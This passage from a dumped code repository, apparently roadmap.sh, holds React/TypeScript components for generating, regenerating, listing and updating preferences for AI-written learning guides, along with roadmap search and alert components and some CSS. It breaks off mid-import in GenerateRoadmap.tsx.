    "content": "import { PenSquare, RefreshCcw, SettingsIcon } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { cn } from '../../lib/classname';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { ModifyCoursePrompt } from '../GenerateCourse/ModifyCoursePrompt';\nimport { UpdatePreferences } from './UpdatePreferences';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { useMutation, useQuery } from '@tanstack/react-query';\nimport { getAiGuideOptions } from '../../queries/ai-guide';\nimport { queryClient } from '../../stores/query-client';\nimport { httpPost } from '../../lib/query-http';\nimport { useAuth } from '../../hooks/use-auth';\nimport { showLoginPopup } from '../../lib/popup';\nimport { isLoggedIn } from '../../lib/jwt';\n\ntype AIGuideRegenerateProps = {\n  onRegenerate: (prompt?: string) => void;\n  guideSlug: string;\n};\n\nexport function AIGuideRegenerate(props: AIGuideRegenerateProps) {\n  const { onRegenerate, guideSlug } = props;\n\n  const [isDropdownVisible, setIsDropdownVisible] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n  const [showPromptModal, setShowPromptModal] = useState(false);\n  const [showUpdatePreferencesModal, setShowUpdatePreferencesModal] =\n    useState(false);\n  const currentUser = useAuth();\n\n  const ref = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(ref, () => setIsDropdownVisible(false));\n\n  const { data: aiGuide } = useQuery(getAiGuideOptions(guideSlug), queryClient);\n  const { mutate: updatePreferences, isPending: isUpdating } = useMutation(\n    {\n      mutationFn: (questionAndAnswers: QuestionAnswerChatMessage[]) => {\n        return httpPost(`/v1-update-guide-preferences/${guideSlug}`, {\n          questionAndAnswers,\n        });\n      },\n      onSuccess: (_, vars) => {\n        queryClient.setQueryData(\n          getAiGuideOptions(guideSlug).queryKey,\n          (old) => {\n            if (!old) {\n              return old;\n            }\n\n            return {\n              ...old,\n              questionAndAnswers: vars,\n            };\n          },\n        );\n\n        setShowUpdatePreferencesModal(false);\n        setIsDropdownVisible(false);\n        onRegenerate();\n      },\n    },\n    queryClient,\n  );\n\n  const showUpdatePreferences =\n    aiGuide?.questionAndAnswers &&\n    aiGuide.questionAndAnswers.length > 0 &&\n    currentUser?.id === aiGuide.userId;\n\n  return (\n    <>\n      {showUpgradeModal && (\n        <UpgradeAccountModal\n          onClose={() => {\n            setShowUpgradeModal(false);\n          }}\n        />\n      )}\n\n      {showPromptModal && (\n        <ModifyCoursePrompt\n          description=\"Pass additional information to the AI to generate a guide.\"\n          onClose={() => setShowPromptModal(false)}\n          onSubmit={(prompt) => {\n            setShowPromptModal(false);\n            onRegenerate(prompt);\n          }}\n        />\n      )}\n\n      {showUpdatePreferencesModal && (\n        <UpdatePreferences\n          onClose={() => setShowUpdatePreferencesModal(false)}\n          questionAndAnswers={aiGuide?.questionAndAnswers}\n          term={aiGuide?.keyword || ''}\n          format=\"guide\"\n          onUpdatePreferences={(questionAndAnswers) => {\n            updatePreferences(questionAndAnswers);\n          }}\n          isUpdating={isUpdating}\n        />\n      )}\n\n      <div ref={ref} className=\"relative flex items-stretch\">\n        <button\n          className={cn('rounded-md px-2.5 text-gray-400 hover:text-black', {\n            'text-black': isDropdownVisible,\n          })}\n          onClick={() => setIsDropdownVisible(!isDropdownVisible)}\n        >\n          <PenSquare className=\"text-current\" size={16} strokeWidth={2.5} />\n        </button>\n        {isDropdownVisible && (\n          <div className=\"absolute top-full right-0 min-w-[190px] translate-y-1 overflow-hidden rounded-md border border-gray-200 bg-white shadow-md\">\n            {showUpdatePreferences && (\n              <button\n                onClick={() => {\n                  setIsDropdownVisible(false);\n                  setShowUpdatePreferencesModal(true);\n                }}\n                className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n              >\n                <SettingsIcon\n                  size={16}\n                  className=\"text-gray-400\"\n                  strokeWidth={2.5}\n                />\n                Update Preferences\n              </button>\n            )}\n\n            <button\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                setIsDropdownVisible(false);\n                onRegenerate();\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <RefreshCcw\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Regenerate\n            </button>\n            <button\n              onClick={() => {\n                if (!isLoggedIn()) {\n                  showLoginPopup();\n                  return;\n                }\n\n                setIsDropdownVisible(false);\n                setShowPromptModal(true);\n              }}\n              className=\"flex w-full items-center gap-2.5 px-3 py-2 text-left text-sm text-gray-600 hover:bg-gray-100\"\n            >\n              <PenSquare\n                size={16}\n                className=\"text-gray-400\"\n                strokeWidth={2.5}\n              />\n              Modify Prompt\n            </button>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/GenerateAIGuide.tsx",
    "content": "import { useEffect, useRef, useState } from 'react';\nimport { generateGuide } from '../../helper/generate-ai-guide';\nimport { getCourseFineTuneData } from '../../lib/ai';\nimport { getUrlParams } from '../../lib/browser';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { AIGuideContent } from './AIGuideContent';\nimport { queryClient } from '../../stores/query-client';\nimport { getAiGuideOptions } from '../../queries/ai-guide';\nimport { LoadingChip } from '../LoadingChip';\nimport type { QuestionAnswerChatMessage } from '../ContentGenerator/QuestionAnswerChat';\nimport { getQuestionAnswerChatMessages } from '../../lib/ai-questions';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { useQuery } from '@tanstack/react-query';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\ntype GenerateAIGuideProps = {\n  onGuideSlugChange?: (guideSlug: string) => void;\n};\n\nexport function GenerateAIGuide(props: GenerateAIGuideProps) {\n  const { onGuideSlugChange } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isStreaming, setIsStreaming] = useState(false);\n  const [error, setError] = useState('');\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n\n  const [content, setContent] = useState('');\n  const [html, setHtml] = useState('');\n  const htmlRef = useRef<string>('');\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const isLimitDataLoading = isPaidUserLoading || isLimitLoading;\n\n  useEffect(() => {\n    if (isLimitDataLoading) {\n      return;\n    }\n\n    if (!isPaidUser && limits && limits?.guide?.used >= limits?.guide?.limit) {\n      setError('You have reached the limit for this format');\n      setIsLoading(false);\n      setShowUpgradeModal(true);\n      return;\n    }\n\n    const params = getUrlParams();\n    const paramsTerm = params?.term;\n    const paramsSrc = params?.src || 'search';\n    if (!paramsTerm) {\n      return;\n    }\n\n    let questionAndAnswers: QuestionAnswerChatMessage[] = [];\n    const sessionId = params?.id;\n    if (sessionId) {\n      questionAndAnswers = getQuestionAnswerChatMessages(sessionId);\n    }\n\n    handleGenerateDocument({\n      term: paramsTerm,\n      src: paramsSrc,\n      questionAndAnswers,\n    });\n  }, [isLimitDataLoading, isPaidUser]);\n\n  const handleGenerateDocument = async (options: {\n    term: string;\n    isForce?: boolean;\n    prompt?: string;\n    src?: string;\n    questionAndAnswers?: QuestionAnswerChatMessage[];\n  }) => {\n    const { term, isForce, prompt, src, questionAndAnswers } = options;\n\n    if (!isLoggedIn()) {\n      window.location.href = '/ai';\n      return;\n    }\n\n    await generateGuide({\n      term,\n      onDetailsChange: (details) => {\n        const { guideId, guideSlug, creatorId, title } = details;\n\n        const guideData = {\n          _id: guideId,\n          userId: creatorId,\n          title,\n          html: htmlRef.current,\n          keyword: term,\n          content,\n          tokens: {\n            prompt: 0,\n            completion: 0,\n            total: 0,\n          },\n          relatedTopics: [],\n          deepDiveTopics: [],\n          questions: [],\n          questionAndAnswers,\n          viewCount: 0,\n          lastVisitedAt: new Date(),\n          createdAt: new Date(),\n          updatedAt: new Date(),\n        };\n\n        queryClient.setQueryData(\n          getAiGuideOptions(guideSlug).queryKey,\n          guideData,\n        );\n\n        onGuideSlugChange?.(guideSlug);\n        window.history.replaceState(null, '', `/ai/guide/${guideSlug}`);\n      },\n      onLoadingChange: setIsLoading,\n      onError: setError,\n      isForce,\n      prompt,\n      src,\n      questionAndAnswers,\n      onHtmlChange: (html) => {\n        htmlRef.current = html;\n        setHtml(html);\n      },\n      onStreamingChange: setIsStreaming,\n    });\n  };\n\n  const upgradeModal = showUpgradeModal ? (\n    <UpgradeAccountModal\n      onClose={() => {\n        window.location.href = '/ai';\n      }}\n    />\n  ) : null;\n\n  if (error) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"text-red-500\">{error}</div>\n      </>\n    );\n  }\n\n  if (isLoading) {\n    return (\n      <>\n        {upgradeModal}\n        <div className=\"flex h-full w-full items-center justify-center\">\n          <LoadingChip message=\"Please wait...\" />\n        </div>\n      </>\n    );\n  }\n\n  return (\n    <>\n      {upgradeModal}\n      <AIGuideContent html={html} />\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/GetAIGuide.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { useEffect, useState } from 'react';\nimport { queryClient } from '../../stores/query-client';\nimport { AIGuideContent } from './AIGuideContent';\nimport { getAiGuideOptions } from '../../queries/ai-guide';\n\ntype GetAIGuideProps = {\n  slug: string;\n};\n\nexport function GetAIGuide(props: GetAIGuideProps) {\n  const { slug: documentSlug } = props;\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isRegenerating, setIsRegenerating] = useState(false);\n\n  const [error, setError] = useState('');\n  const { data: aiGuide, error: queryError } = useQuery(\n    {\n      ...getAiGuideOptions(documentSlug),\n      enabled: !!documentSlug,\n    },\n    queryClient,\n  );\n\n  useEffect(() => {\n    if (!aiGuide) {\n      return;\n    }\n\n    setIsLoading(false);\n  }, [aiGuide]);\n\n  useEffect(() => {\n    if (!queryError) {\n      return;\n    }\n\n    setIsLoading(false);\n    setError(queryError.message);\n  }, [queryError]);\n\n  const handleRegenerateDocument = async (prompt?: string) => {\n    // if (!aiDocument) {\n    //   return;\n    // }\n    // queryClient.setQueryData(\n    //   getAiDocumentOptions({ documentSlug: documentSlug }).queryKey,\n    //   {\n    //     ...aiDocument,\n    //     title: '',\n    //     difficulty: '',\n    //     modules: [],\n    //   },\n    // );\n    // await generateDocument({\n    //   term: aiDocument.keyword,\n    //   difficulty: aiDocument.difficulty,\n    //   slug: documentSlug,\n    //   prompt,\n    //   onDocumentChange: (document) => {\n    //     queryClient.setQueryData(\n    //       getAiDocumentOptions({ documentSlug: documentSlug }).queryKey,\n    //       {\n    //         ...aiDocument,\n    //         title: aiDocument.title,\n    //         difficulty: aiDocument.difficulty,\n    //         content: document,\n    //       },\n    //     );\n    //   },\n    //   onLoadingChange: (isNewLoading) => {\n    //     setIsRegenerating(isNewLoading);\n    //     if (!isNewLoading) {\n    //       // TODO: Update progress\n    //     }\n    //   },\n    //   onError: setError,\n    //   isForce: true,\n    // });\n  };\n\n  return <AIGuideContent html={aiGuide?.html || ''} />;\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/UpdatePreferences.tsx",
    "content": "import { useMemo, useState } from 'react';\nimport type { AllowedFormat } from '../ContentGenerator/ContentGenerator';\nimport {\n  QuestionAnswerChat,\n  type QuestionAnswerChatMessage,\n} from '../ContentGenerator/QuestionAnswerChat';\nimport { Modal } from '../Modal';\n\ntype UpdatePreferencesProps = {\n  onClose: () => void;\n  term: string;\n  format: AllowedFormat;\n  questionAndAnswers?: QuestionAnswerChatMessage[];\n  onUpdatePreferences: (\n    questionAndAnswers: QuestionAnswerChatMessage[],\n  ) => void;\n  isUpdating: boolean;\n};\n\nexport function UpdatePreferences(props: UpdatePreferencesProps) {\n  const {\n    onClose,\n    questionAndAnswers: defaultQuestionAndAnswers,\n    term,\n    format,\n    onUpdatePreferences,\n    isUpdating,\n  } = props;\n\n  const [questionAnswerChatMessages, setQuestionAnswerChatMessages] = useState<\n    QuestionAnswerChatMessage[]\n  >(defaultQuestionAndAnswers || []);\n\n  const defaultQuestions = defaultQuestionAndAnswers\n    ?.filter((message) => message.role === 'assistant')\n    .map((message) => ({\n      question: message.question,\n      possibleAnswers: message.possibleAnswers,\n    }));\n\n  const hasChangedQuestionAndAnswers = useMemo(() => {\n    return (\n      JSON.stringify(questionAnswerChatMessages) !==\n      JSON.stringify(defaultQuestionAndAnswers)\n    );\n  }, [questionAnswerChatMessages, defaultQuestionAndAnswers]);\n\n  console.log(questionAnswerChatMessages);\n  console.log(defaultQuestionAndAnswers);\n\n  const userAnswers = questionAnswerChatMessages.filter(\n    (message) => message.role === 'user',\n  );\n\n  const hasAnsweredAllQuestions =\n    userAnswers.length === defaultQuestions?.length;\n\n  return (\n    <Modal\n      onClose={onClose}\n      bodyClassName=\"p-4 flex flex-col gap-4\"\n      wrapperClassName=\"max-w-xl  h-auto\"\n      overlayClassName=\"items-start md:items-center\"\n    >\n      <div className=\"flex flex-col gap-1\">\n        <h2 className=\"text-lg font-medium\">Update Preferences</h2>\n        <p className=\"text-sm text-gray-500\">\n          Update your preferences for better content\n        </p>\n      </div>\n\n      <QuestionAnswerChat\n        term={term}\n        format={format}\n        questionAnswerChatMessages={questionAnswerChatMessages}\n        setQuestionAnswerChatMessages={setQuestionAnswerChatMessages}\n        defaultQuestions={defaultQuestions}\n        onGenerateNow={() => {\n          onUpdatePreferences(questionAnswerChatMessages);\n        }}\n        className=\"-mx-2 h-[400px] border-none p-0\"\n        type=\"update\"\n      />\n\n      {hasChangedQuestionAndAnswers && hasAnsweredAllQuestions && (\n        <button\n          className=\"rounded-lg bg-black px-4 py-2 text-white hover:opacity-80 disabled:opacity-50\"\n          disabled={isUpdating || !hasChangedQuestionAndAnswers}\n          onClick={() => {\n            onUpdatePreferences(questionAnswerChatMessages);\n          }}\n        >\n          {isUpdating ? 'Updating...' : 'Apply preferences'}\n        </button>\n      )}\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateGuide/UserGuidesList.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { BookOpen, Loader2 } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { deleteUrlParam, getUrlParams, setUrlParams } from '../../lib/browser';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\nimport {\n  listUserAIGuidesOptions,\n  type ListUserAIGuidesQuery,\n} from '../../queries/ai-guide';\nimport { queryClient } from '../../stores/query-client';\nimport { AITutorTallMessage } from '../AITutor/AITutorTallMessage';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\nimport { Pagination } from '../Pagination/Pagination';\nimport { AICourseSearch } from '../GenerateCourse/AICourseSearch';\nimport { AIGuideCard } from '../AIGuide/AIGuideCard';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { aiLimitOptions } from '../../queries/ai-course';\nimport { AIUsageWarning } from '../AIUsageWarning/AIUsageWarning';\n\nexport function UserGuidesList() {\n  const [isInitialLoading, setIsInitialLoading] = useState(true);\n  const [showUpgradePopup, setShowUpgradePopup] = useState(false);\n\n  const [pageState, setPageState] = useState<ListUserAIGuidesQuery>({\n    perPage: '21',\n    currPage: '1',\n    query: '',\n  });\n\n  const { isPaidUser, isLoading: isPaidUserLoading } = useIsPaidUser();\n  const { data: limits, isLoading: isLimitLoading } = useQuery(\n    aiLimitOptions(),\n    queryClient,\n  );\n\n  const selectedLimit = limits?.guide;\n\n  const { data: userAiGuides, isFetching: isUserAiGuidesLoading } = useQuery(\n    listUserAIGuidesOptions(pageState),\n    queryClient,\n  );\n\n  useEffect(() => {\n    setIsInitialLoading(false);\n  }, [userAiGuides]);\n\n  const guides = userAiGuides?.data ?? [];\n\n  useEffect(() => {\n    const queryParams = getUrlParams();\n\n    setPageState({\n      ...pageState,\n      currPage: queryParams?.p || '1',\n      query: queryParams?.q || '',\n    });\n  }, []);\n\n  useEffect(() => {\n    if (pageState?.currPage !== '1' || pageState?.query !== '') {\n      setUrlParams({\n        p: pageState?.currPage || '1',\n        q: pageState?.query || '',\n      });\n    } else {\n      deleteUrlParam('p');\n      deleteUrlParam('q');\n    }\n  }, [pageState]);\n\n  const isUserAuthenticated = isLoggedIn();\n  const isAnyLoading =\n    isUserAiGuidesLoading ||\n    isInitialLoading ||\n    isPaidUserLoading ||\n    isLimitLoading;\n\n  return (\n    <>\n      {showUpgradePopup && (\n        <UpgradeAccountModal onClose={() => setShowUpgradePopup(false)} />\n      )}\n\n      <AICourseSearch\n        value={pageState?.query || ''}\n        onChange={(value) => {\n          setPageState({\n            ...pageState,\n            query: value,\n            currPage: '1',\n          });\n        }}\n        disabled={isAnyLoading}\n        placeholder=\"Search guides...\"\n      />\n\n      {isAnyLoading && (\n        <p className=\"mb-4 flex flex-row items-center gap-2 text-sm text-gray-500\">\n          <Loader2 className=\"h-4 w-4 animate-spin\" />\n          Loading your guides...\n        </p>\n      )}\n\n      {!isAnyLoading && (\n        <>\n          <AIUsageWarning\n            type=\"guide\"\n            totalCount={userAiGuides?.totalCount}\n            isPaidUser={isPaidUser}\n            usedCount={selectedLimit?.used}\n            limitCount={selectedLimit?.limit}\n            onUpgrade={() => setShowUpgradePopup(true)}\n          />\n\n          {isUserAuthenticated && !isAnyLoading && guides.length > 0 && (\n            <div className=\"flex flex-col gap-2\">\n              <div className=\"grid grid-cols-1 gap-2 md:grid-cols-2 xl:grid-cols-3\">\n                {guides.map((guide) => (\n                  <AIGuideCard key={guide._id} guide={guide} />\n                ))}\n              </div>\n\n              <Pagination\n                totalCount={userAiGuides?.totalCount || 0}\n                totalPages={userAiGuides?.totalPages || 0}\n                currPage={Number(userAiGuides?.currPage || 1)}\n                perPage={Number(userAiGuides?.perPage || 10)}\n                onPageChange={(page) => {\n                  setPageState({ ...pageState, currPage: String(page) });\n                }}\n                className=\"rounded-lg border border-gray-200 bg-white p-4\"\n              />\n            </div>\n          )}\n\n          {!isAnyLoading && guides.length === 0 && (\n            <AITutorTallMessage\n              title={\n                isUserAuthenticated ? 'No guides found' : 'Sign up or login'\n              }\n              subtitle={\n                isUserAuthenticated\n                  ? \"You haven't generated any guides yet.\"\n                  : 'Takes 2s to sign up and generate your first guide.'\n              }\n              icon={BookOpen}\n              buttonText={\n                isUserAuthenticated\n                  ? 'Create your first guide'\n                  : 'Sign up or login'\n              }\n              onButtonClick={() => {\n                if (isUserAuthenticated) {\n                  window.location.href = '/ai';\n                } else {\n                  showLoginPopup();\n                }\n              }}\n            />\n          )}\n        </>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/AIRoadmapAlert.tsx",
    "content": "import { BadgeCheck, Bot, Telescope, Wand } from 'lucide-react';\nimport { RoadmapAlert } from '../RoadmapAlert';\n\ntype AIRoadmapAlertProps = {\n  isListing?: boolean;\n};\n\nexport function AIRoadmapAlert(props: AIRoadmapAlertProps) {\n  const { isListing = false } = props;\n\n  return (\n    <RoadmapAlert\n      title={`AI Generated Roadmap${isListing ? 's' : ''}`}\n      badgeText=\"Beta\"\n      description={\n        <>\n          {isListing\n            ? 'These are AI generated roadmaps and are not verified by'\n            : 'This is an AI generated roadmap and is not verified by'}{' '}\n          <span className={'font-semibold'}>roadmap.sh</span>. We are currently\n          in beta and working hard to improve the quality of the generated\n          roadmaps.\n        </>\n      }\n      floatingIcon={Bot}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/AITermSuggestionInput.tsx",
    "content": "import {\n  type InputHTMLAttributes,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from 'react';\nimport { cn } from '../../lib/classname';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { useDebounceValue } from '../../hooks/use-debounce';\nimport { httpGet } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport type { PageType } from '../CommandMenu/CommandMenu.tsx';\n\ntype GetTopAIRoadmapTermResponse = {\n  _id: string;\n  term: string;\n  title: string;\n  isOfficial: boolean;\n}[];\n\ntype AITermSuggestionInputProps = {\n  value: string;\n  onValueChange: (value: string) => void;\n  onSelect?: (roadmapId: string, roadmapTitle: string) => void;\n  inputClassName?: string;\n  wrapperClassName?: string;\n  placeholder?: string;\n} & Omit<\n  InputHTMLAttributes<HTMLInputElement>,\n  'onSelect' | 'onChange' | 'className'\n>;\n\nexport function AITermSuggestionInput(props: AITermSuggestionInputProps) {\n  const {\n    value: defaultValue,\n    onValueChange,\n    onSelect,\n    inputClassName,\n    wrapperClassName,\n    placeholder,\n    ...inputProps\n  } = props;\n\n  const termCache = useMemo(\n    () => new Map<string, GetTopAIRoadmapTermResponse>(),\n    [],\n  );\n  const [officialRoadmaps, setOfficialRoadmaps] =\n    useState<GetTopAIRoadmapTermResponse>([]);\n\n  const toast = useToast();\n  const searchInputRef = useRef<HTMLInputElement>(null);\n  const dropdownRef = useRef<HTMLDivElement>(null);\n  const isFirstRender = useRef(true);\n\n  const [isActive, setIsActive] = useState(false);\n  const [isLoading, setIsLoading] = useState(false);\n  const [searchResults, setSearchResults] =\n    useState<GetTopAIRoadmapTermResponse>([]);\n  const [searchedText, setSearchedText] = useState(defaultValue);\n  const [activeCounter, setActiveCounter] = useState(0);\n  const debouncedSearchValue = useDebounceValue(searchedText, 300);\n\n  const loadTopAIRoadmapTerm = async () => {\n    const trimmedValue = debouncedSearchValue.trim();\n    if (trimmedValue.length === 0) {\n      return [];\n    }\n\n    if (trimmedValue.length < 3) {\n      return [];\n    }\n\n    if (termCache.has(trimmedValue)) {\n      const cachedData = termCache.get(trimmedValue);\n      return cachedData || [];\n    }\n\n    const { response, error } = await httpGet<GetTopAIRoadmapTermResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-top-ai-roadmap-term`,\n      {\n        term: trimmedValue,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      setSearchResults([]);\n      return [];\n    }\n\n    termCache.set(trimmedValue, response);\n    return response;\n  };\n\n  const loadOfficialRoadmaps = async () => {\n    if (officialRoadmaps.length > 0) {\n      return officialRoadmaps;\n    }\n\n    const { error, response } = await httpGet<PageType[]>(`/pages.json`);\n\n    if (error) {\n      toast.error(error.message || 'Something went wrong');\n      return;\n    }\n\n    if (!response) {\n      return [];\n    }\n\n    const allRoadmaps = response\n      .filter((page) => page.group === 'Roadmaps')\n      .sort((a, b) => {\n        if (a.title === 'Android') return 1;\n        return a.title.localeCompare(b.title);\n      })\n      .map((page) => ({\n        _id: page.id,\n        term: page.title,\n        title: page.title,\n        isOfficial: true,\n      }));\n\n    setOfficialRoadmaps(allRoadmaps);\n    return allRoadmaps;\n  };\n\n  // useEffect(() => {\n  //   if (debouncedSearchValue.length === 0 || isFirstRender.current) {\n  //     setSearchResults([]);\n  //     return;\n  //   }\n\n  //   setIsActive(true);\n  //   setIsLoading(true);\n  //   loadTopAIRoadmapTerm()\n  //     .then((results) => {\n  //       const normalizedSearchText = debouncedSearchValue.trim().toLowerCase();\n  //       const matchingOfficialRoadmaps = officialRoadmaps.filter((roadmap) => {\n  //         return (\n  //           roadmap.title.toLowerCase().indexOf(normalizedSearchText) !== -1\n  //         );\n  //       });\n\n  //       setSearchResults(\n  //         [...matchingOfficialRoadmaps, ...results]?.slice(0, 5) || [],\n  //       );\n  //       setActiveCounter(0);\n  //     })\n  //     .finally(() => {\n  //       setIsLoading(false);\n  //     });\n  // }, [debouncedSearchValue]);\n\n  useEffect(() => {\n    if (isFirstRender.current) {\n      isFirstRender.current = false;\n      loadOfficialRoadmaps().finally(() => {});\n    }\n  }, []);\n\n  useOutsideClick(dropdownRef, () => {\n    setIsActive(false);\n  });\n\n  const isFinishedTyping = debouncedSearchValue === searchedText;\n\n  return (\n    <div className={cn('relative', wrapperClassName)}>\n      <input\n        {...inputProps}\n        ref={searchInputRef}\n        type=\"text\"\n        value={defaultValue}\n        className={cn(\n          'w-full rounded-md border border-gray-400 px-3 py-2.5 pr-8 transition-colors focus:border-black focus:outline-hidden',\n          inputClassName,\n        )}\n        placeholder={placeholder}\n        autoComplete=\"off\"\n        onChange={(e) => {\n          const value = (e.target as HTMLInputElement).value;\n          setSearchedText(value);\n          onValueChange(value);\n        }}\n        onFocus={() => {\n          setIsActive(true);\n        }}\n        onKeyDown={(e) => {\n          if (e.key === 'ArrowDown') {\n            const canGoNext = activeCounter < searchResults.length - 1;\n            setActiveCounter(canGoNext ? activeCounter + 1 : 0);\n          } else if (e.key === 'ArrowUp') {\n            const canGoPrev = activeCounter > 0;\n            setActiveCounter(\n              canGoPrev ? activeCounter - 1 : searchResults.length - 1,\n            );\n          } else if (e.key === 'Tab') {\n            if (isActive) {\n              e.preventDefault();\n            }\n          } else if (e.key === 'Escape') {\n            setSearchedText('');\n            setIsActive(false);\n          } else if (e.key === 'Enter') {\n            if (!searchResults.length || !isFinishedTyping) {\n              return;\n            }\n\n            e.preventDefault();\n            const activeData = searchResults[activeCounter];\n            if (activeData) {\n              if (activeData.isOfficial) {\n                window.open(`/${activeData._id}`, '_blank')?.focus();\n                return;\n              }\n\n              onValueChange(activeData.term);\n              onSelect?.(activeData._id, activeData.title);\n              setIsActive(false);\n            }\n          }\n        }}\n      />\n\n      {isLoading && (\n        <div className=\"absolute right-3 top-0 flex h-full items-center\">\n          <Spinner\n            isDualRing={false}\n            className=\"h-5 w-5 animate-spin stroke-[2.5]\"\n          />\n        </div>\n      )}\n\n      {isActive &&\n        isFinishedTyping &&\n        searchResults.length > 0 &&\n        searchedText.length > 0 && (\n          <div\n            className=\"absolute top-full z-50 mt-1 w-full rounded-md border bg-white p-1 shadow-sm\"\n            ref={dropdownRef}\n          >\n            <div className=\"flex flex-col\">\n              {searchResults.map((result, counter) => {\n                return (\n                  <button\n                    key={result?._id}\n                    type=\"button\"\n                    className={cn(\n                      'flex w-full items-start rounded-sm p-2 text-left text-sm',\n                      counter === activeCounter ? 'bg-gray-100' : '',\n                    )}\n                    onMouseOver={() => setActiveCounter(counter)}\n                    onClick={() => {\n                      if (result.isOfficial) {\n                        window.location.href = `/${result._id}`;\n                        return;\n                      }\n\n                      onValueChange(result?.term);\n                      onSelect?.(result._id, result.title);\n                      setSearchedText('');\n                      setIsActive(false);\n                    }}\n                  >\n                    <span\n                      className={cn(\n                        'mr-2 whitespace-nowrap rounded-full p-1 px-1.5 text-xs leading-none',\n                        result.isOfficial\n                          ? 'bg-green-500 text-green-50'\n                          : 'bg-blue-400 text-blue-50',\n                      )}\n                    >\n                      {result.isOfficial ? 'Official' : 'AI Generated'}\n                    </span>\n                    {result?.title || result?.term}\n                  </button>\n                );\n              })}\n            </div>\n          </div>\n        )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/GenerateRoadmap.css",
    "content": "@font-face {\n  font-family: 'balsamiq';\n  src: url('/fonts/balsamiq.woff2');\n}\n\nsvg text tspan {\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  text-rendering: optimizeSpeed;\n}\n\nsvg > g[data-type='topic'],\nsvg > g[data-type='subtopic'],\nsvg > g > g[data-type='link-item'],\nsvg > g[data-type='button'] {\n  cursor: pointer;\n}\n\nsvg > g[data-type='topic']:hover > rect {\n  fill: #d6d700;\n}\n\nsvg > g[data-type='subtopic']:hover > rect {\n  fill: #f3c950;\n}\nsvg > g[data-type='button']:hover {\n  opacity: 0.8;\n}\n\nsvg .done rect {\n  fill: #cbcbcb !important;\n}\n\nsvg .done text,\nsvg .skipped text {\n  text-decoration: line-through;\n}\n\nsvg > g[data-type='topic'].learning > rect + text,\nsvg > g[data-type='topic'].done > rect + text {\n  fill: black;\n}\n\nsvg > g[data-type='subtipic'].done > rect + text,\nsvg > g[data-type='subtipic'].learning > rect + text {\n  fill: #cbcbcb;\n}\n\nsvg .learning rect {\n  fill: #dad1fd !important;\n}\nsvg .learning text {\n  text-decoration: underline;\n}\n\nsvg .skipped rect {\n  fill: #496b69 !important;\n}\n"
  },
  {
    "path": "src/components/GenerateRoadmap/GenerateRoadmap.tsx",
    "content": "import './GenerateRoadmap.css';\n\nimport {\n  type FormEvent,\n  type MouseEvent,\n  useCallback,\n  useEffect,\n  useRef,\n  useState,\n} from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { generateAIRoadmapFromText, renderFlowJSON } from '@roadmapsh/editor';\nimport { replaceChildren } from '../../lib/dom';\nimport {\n  isLoggedIn,\n  removeAuthToken,\n  setAIReferralCode,\n  visitAIRoadmap,\n} from '../../lib/jwt';\nimport { RoadmapSearch } from './RoadmapSearch.tsx';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { Ban, Download, PenSquare, Save, Wand } from 'lucide-react';\nimport { ShareRoadmapButton } from '../ShareRoadmapButton.tsx';\nimport { httpGet, httpPost } from '../../lib/http.ts';\nimport { pageProgressMessage } from '../../stores/page.ts';\nimport { deleteUrlParam, getUrlParams } from '../../lib/browser.ts';\nimport { downloadGeneratedRoadmapImage } from '../../helper/download-image.ts';\nimport { showLoginPopup } from '../../lib/popup.ts';\nimport { cn } from '../../lib/classname.ts';\nimport { RoadmapTopicDetail } from './RoadmapTopicDetail.tsx';\nimport { AIRoadmapAlert } from './AIRoadmapAlert.tsx';\nimport {\n  generateAICourseRoadmapStructure,\n  IS_KEY_ONLY_ROADMAP_GENERATION,\n  readAIRoadmapStream,\n} from '../../lib/ai.ts';\nimport { AITermSuggestionInput } from 